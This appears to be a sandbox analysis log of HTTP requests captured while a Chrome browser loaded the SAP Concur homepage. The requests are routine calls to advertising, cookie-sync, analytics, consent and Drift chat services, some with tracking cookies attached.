Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/1044530512/?random=1727944905118&cv=11&fst=1727942400000&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=3&is_vtc=1&cid=CAQSKQDpaXnfKqPDdwJzg4dh7oDlzs7m0YOqrljl9X_IdvcIk27veLq2H2So&random=2636304772&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/1044530512/?random=424067382&cv=11&fst=1727944905179&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&label=Ly-YCJ_d_50DENCKifID&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&gtm_ee=1&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=event%3Dconversion&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgi5wbECCLHDsQIIisWxAgiQybECIgEBQAFKLG5vdC1uYXZpZ2F0aW9uLXNvdXJjZSwgdHJpZ2dlciwgZXZlbnQtc291cmNlYgQKAgID&pscrd=CPqmueeN55uWwgEiEwiI-a206PGIAxXesYMHHdrcKqYyAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzICCBUyAggfMgIIEzICCBI6F2h0dHBzOi8vd3d3LmNvbmN1ci5jb20vQlZDaEFJOElINXR3WVFqN1NiazhiOG9fVWxFaXdBNHAyTDljd25pekp1X3hqZ2xtYWdCVVlHOG9PREJVaVpubzl2V2pfVXVoM3NvMEE0UkdDVTlDdVdVZw&is_vtc=1&cid=CAQSKQDpaXnfXJslnxHCpKDHXBHzz3lHk4lg04CzSyavFOzzurGv_msYHizp&random=1292975515 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /get?name=ProximaNova-Reg.otf HTTP/1.1Host: consent.trustarc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.concur.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/0.7.47/clarity.js HTTP/1.1Host: www.clarity.msConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CLID=74cbd1bf2ff44bf68b25c4b6a307502b.20241003.20251003
Source: global traffic	HTTP traffic detected: GET /track/up?adv=4ecukjb&ref=https%3A%2F%2Fwww.concur.com%2F&upid=1x2w3we&upv=1.1.0&paapi=1 HTTP/1.1Host: insight.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=74afb848-711b-4442-bde5-d7137629b408; TDCPM=CAESEgoDYWFtEgsI0oTFn6fksT0QBRgFIAEoAjILCNrjub695LE9EAU4AQ..
Source: global traffic	HTTP traffic detected: GET /core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2F HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/chat?d=1&region=US&driftEnableLog=false&pageLoadStartTime=1727944883023 HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /universal_pixel.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=74afb848-711b-4442-bde5-d7137629b408; TDCPM=CAESEgoDYWFtEgsI0oTFn6fksT0QBRIWCgdydWJpY29uEgsItPC5zqjksT0QBRIVCgZnb29nbGUSCwi4kLrOqOSxPRAFEhcKCGFwcG5leHVzEgsIuK-6zqjksT0QBRgFKAMyCwjWxbz7vuSxPRAFQiYiJAgBEiAKHEFjY3VlbiAoU1YgKyBTZW1hc2lvIEdvb2dsZSkQAVoHNGVjdWtqYmAB
Source: global traffic	HTTP traffic detected: GET /core/assets/js/runtime~main.901f3121.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://js.driftt.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/main~493df0b3.8510c064.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://js.driftt.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/9.4a3e9801.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://js.driftt.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=TheTradeDesk&google_cm&google_sc&google_hm=NzRhZmI4NDgtNzExYi00NDQyLWJkZTUtZDcxMzc2MjliNDA4&gdpr=0&gdpr_consent=&ttd_tdid=74afb848-711b-4442-bde5-d7137629b408 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /universal_pixel.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=74afb848-711b-4442-bde5-d7137629b408; TDCPM=CAESEgoDYWFtEgsI0oTFn6fksT0QBRIWCgdydWJpY29uEgsItPC5zqjksT0QBRIVCgZnb29nbGUSCwi4kLrOqOSxPRAFEhcKCGFwcG5leHVzEgsIuK-6zqjksT0QBRgFKAMyCwjWxbz7vuSxPRAFQiYiJAgBEiAKHEFjY3VlbiAoU1YgKyBTZW1hc2lvIEdvb2dsZSkQAVoHNGVjdWtqYmAB
Source: global traffic	HTTP traffic detected: GET /getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=74afb848-711b-4442-bde5-d7137629b408 HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=_XwZiqA-XhRdbSA6zSAaAlj0YbUpgAUaZzfIkH4x2gSOOS3qhDotucI9VQDdLQxM7W1OI157w6FeAsiN60oYE5AsTuyxrxZ6mFZA-YCTNrs.; receive-cookie-deprecation=1; uuid2=7044996041827226272; anj=dTM7k!M4.FErk#WF']wIg2C%us^h.H!]tcN8i_jAez_UZ18%4Q4ASAQJDWmpkEt)8]2T-_U#G6F=Uc2D$25A)(rF5kpv7Pzr*%m=t5`%vhLj)fy)iY+?jl
Source: global traffic	HTTP traffic detected: GET /track/cmf/rubicon?gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=74afb848-711b-4442-bde5-d7137629b408; TDCPM=CAESEgoDYWFtEgsI0oTFn6fksT0QBRIWCgdydWJpY29uEgsItPC5zqjksT0QBRIVCgZnb29nbGUSCwi4kLrOqOSxPRAFEhcKCGFwcG5leHVzEgsIuK-6zqjksT0QBRgFKAMyCwjWxbz7vuSxPRAFQiYiJAgBEiAKHEFjY3VlbiAoU1YgKyBTZW1hc2lvIEdvb2dsZSkQAVoHNGVjdWtqYmAB
Source: global traffic	HTTP traffic detected: GET /core/assets/css/8.6ac3976b.chunk.css HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/css/16.22abfce0.chunk.css HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/52.b1edaf4a.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=74afb848-711b-4442-bde5-d7137629b408&google_gid=CAESEFBB3fekXSIFjweLJ5x10vU&google_cver=1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=74afb848-711b-4442-bde5-d7137629b408; TDCPM=CAESEgoDYWFtEgsI0oTFn6fksT0QBRIWCgdydWJpY29uEgsItPC5zqjksT0QBRIVCgZnb29nbGUSCwi4kLrOqOSxPRAFEhcKCGFwcG5leHVzEgsIuK-6zqjksT0QBRgFKAMyCwjWxbz7vuSxPRAFQiYiJAgBEiAKHEFjY3VlbiAoU1YgKyBTZW1hc2lvIEdvb2dsZSkQAVoHNGVjdWtqYmAB
Source: global traffic	HTTP traffic detected: GET /core/assets/js/37.b6614199.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/22.6b9a301a.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/19.6f85b843.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/runtime~main.901f3121.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/main~493df0b3.8510c064.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/9.4a3e9801.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/appnexus?ttd=1&anid=7044996041827226272&ttd_tdid=74afb848-711b-4442-bde5-d7137629b408 HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=74afb848-711b-4442-bde5-d7137629b408; TDCPM=CAESEgoDYWFtEgsI0oTFn6fksT0QBRIWCgdydWJpY29uEgsItPC5zqjksT0QBRIVCgZnb29nbGUSCwi4kLrOqOSxPRAFEhcKCGFwcG5leHVzEgsIuK-6zqjksT0QBRgFKAMyCwjWxbz7vuSxPRAFQiYiJAgBEiAKHEFjY3VlbiAoU1YgKyBTZW1hc2lvIEdvb2dsZSkQAVoHNGVjdWtqYmAB
Source: global traffic	HTTP traffic detected: GET /core/assets/js/43.7ac85d58.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
